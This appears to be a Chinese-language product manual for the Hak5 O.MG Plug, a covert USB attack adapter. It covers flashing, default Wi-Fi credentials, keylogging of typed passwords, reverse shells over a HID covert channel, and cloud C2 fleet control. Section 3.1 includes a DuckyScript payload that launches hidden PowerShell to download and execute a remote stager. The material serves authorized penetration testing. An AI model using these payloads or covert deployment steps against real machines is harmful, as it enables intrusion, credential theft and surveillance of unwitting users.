跳到主要内容

Hak5 O.MG Plug & Adapter 原厂技术说明书与全功能操作手册

Hak5 出品的 O.MG Plug(以及 O.MG Adapter 转接器)是 O.MG 渗透测试体系的模块化实体演进版本。将完整的 O.MG SoC 芯片组、802.11 Wi-Fi 无线电与 DuckyScript 攻击引擎精准封装于通用型 USB 转接头外壳中,支持串接任意周边键盘与设备,或作为无人值守的独立 USB 快速攻击载具。


目录​


1. 产品概述与硬件架构​

本章节说明 O.MG Plug / Adapter 的模块化硬件架构、规格参数与部署形式。

1.1 模块化转接头设计理念​

O.MG Cable 将攻击芯片深嵌于一条专属线缆中;而 O.MG Plug 则将这套先进的微型系统封装成通用的转接插头(提供 USB Type-A 插头与 USB Type-C 转接器等多种形式)。

此设计具备极大优势:

  • 兼容任意品牌线材:现场可随意串接目标既有的专用传输线、条码扫描仪、鼠标或机械键盘。
  • 随机应变部署:既可安插在主机后方充当长期串接键盘嗅探器,亦可做为无人值守的一键注入 USB Key。
  • 高耐用性外壳:金属强化结构,经得起多次实体插拔。

1.2 技术规格与硬件校准基准表​

硬件组件项目原厂官方技术规格基准
设备架构模块化串接式 USB 实体攻击转接头
射频无线电集成式 802.11 b/g/n (2.4 GHz) Wi-Fi 无线电与微型天线
输入工作电压5 V DC (+/- 0.5 V) 经由主机 USB 端口供电
功耗标准待机:~75 mA;尖峰发射:~320 mA;建议供电:500 mA
数据通信透传完整 USB 2.0 (480 Mbps) 全速透传信道 (攻击闲置时完全透明)
电力透传规格固定 5 V 导通;USB-PD 协商最高限制于 5 V
物理规格外观USB Type-A 转接头、USB Type-C 模块化插头
保存磁区规模非挥发性 Flash 空间 (Basic:8 槽位;Plus/Elite:最高 200 槽位)
嗅探容量规格Keylogger 版:内置约 650,000 次按键先进先出 (FIFO) 缓冲内存
硬件兼容标准Full Speed 全速 USB 键盘 (兼容 12 Mbps 标准 HID 规范)
隐蔽信道技术HIDX StealthLink (利用底层 HID Reports 实现双向 Shell)
防护安全机制WPA2 加密、BSSID 地理围栏防御、单片机紧急自毁功能

1.3 串接拦截与无人值守双重部署模式​

  1. 串接周边拦截模式 (Inline Peripheral Interception Mode):
    • 将 O.MG Plug 插入目标主机 USB 孔,再将目标实体键盘插入 O.MG Plug 的母座。
    • 用户日常打字完全无感,但所有击键均被即时记录,且操作者可随时通过无线射频注入攻击指令。
  2. 无人值守随身注入模式 (Unattended Standalone Dongle Mode):
    • 直接将 O.MG Plug 插入无人看管的目标服务器或信息站(Kiosk)。
    • 设备自动感知主机通电,数秒内依序派发提权、下载后门与数据导出脚本。

2. 硬件初始化、固件刻录与网络连接​

本章节说明 O.MG Plug 的出厂激活、浏览器串行刻录与连接流程。

2.1 使用 O.MG Programmer 进行初次激活​

所有 O.MG Plug 设备均需使用 O.MG Programmer 激活无线发射功能:

  1. 将 O.MG Plug 公头插入 O.MG Programmer 母座。
  2. 将 Programmer 连接至工作站电脑,确认供电指示灯恒亮。

2.2 Web Flasher 浏览器串行刻录指引​

  1. 使用 Chrome 或兼容 WebSerial 之浏览器造访:https://o-mg.github.io/WebFlasher/
  2. 点击 Connect 并选取 CP2102 串行端口。
  3. 产品菜单选取 O.MG Plug / Adapter,点击最新固件进行一键刷机。

2.3 创建 Wi-Fi 管理无线基地台​

  1. 拔除 Programmer,将 O.MG Plug 插入一般 5 V USB 供电孔。
  2. 连接至默认基地台:
    • SSID:O.MG
    • 密码:12345678
  3. 浏览器打开 http://192.168.4.1 进入配置后台。

2.4 网页控制台功能巡礼与参数调整​

  • Payloads 页面:编写、上传与点击运行脚本。
  • Keylogger 页面:即时监看击键日志与文本搜索。
  • Settings 页面:更改无线名称、加入公司 Wi-Fi(Station 模式)或配置自毁条件。

3. 载荷编写、DuckyScript 语法与运行模式​

本章节说明 DuckyScript 指令撰写与键盘拦截操作。

3.1 DuckyScript for O.MG Plug 内核指令​

REM O.MG Plug Fast Execution Example
DELAY 2000
GUI r
DELAY 300
STRING powershell -w hidden -c“Invoke-RestMethod http://192.168.4.1/stager | iex”
ENTER

支持 DELAY 延迟、STRING 键入、USB_OVERCLOCK 传输加速与 WAIT_FOR_INPUT 操作员确认指令。

3.2 载荷槽位架构与远程快速触发​

Plus 与 Elite 版本支持高达 200 个槽位,操作者可在手机 Web 接口创建自订捷径按钮,于百公尺外随点随打。

3.3 串联 USB 实体键盘嗅探机制 (Keylogger)​

串接键盘时,O.MG Plug 的专用处理内核会并行解析 USB 数据包,并将密码、指令与机密即时加密保存于非挥发内存中,操作者可在网页端即时观看。

3.4 跨国键盘配置对应与转译​

内置多语系映射内核,支持全球各大主要语系键盘,确保在非英文环境下输入符号依然百分之百精准。


4.1 HIDX 双向信道原理说明​

利用 USB HID 协定规范的 Feature Reports 通信机制,不需要打开任何网络端口、不安装驱动,直接打通目标主机与 O.MG Plug 之间的双向信道。

4.2 跨平台交互式终端管道​

支持在 Windows(PowerShell)、Linux(Bash)与 macOS(Python)环境下反向引导出完全交互式的终端机控制台。

4.3 Hak5 Cloud C² 云端集中舰队纳管​

将各办公室部署的 O.MG Plug 配置为 Station 模式连上网际网络,即可在 Hak5 Cloud C² 云端后台集中调度与监管。

4.4 WebSocket API 自动化串接实例​

开放标准 WebSocket 接口,方便网络安全工程师以 Python 撰写自动化插件,达成自动嗅探、敏感词通知与主动回击。


5. 安全防御、自毁抹除与维护指南​

本章节介绍自毁保护、地理围栏与出厂重置。

5.1 地理围栏环境限制配置​

锁定现场特定 Wi-Fi BSSID,一旦离开受测区域即自动切断连接或进入深度休眠。

5.2 紧急硬件自毁标准进程​

发动 Self-Destruct 指令后,单片机会立即对芯片内部进行高压随机覆写并自毁引导程序,使物理逆向工程彻底失效。

5.3 故障排查、芯片校准与出厂重置​

若遇通信异常,可将 O.MG Plug 插回 O.MG Programmer,利用 Web Flasher 进行“Erase Flash & Factory Reset”即可还原初始配置。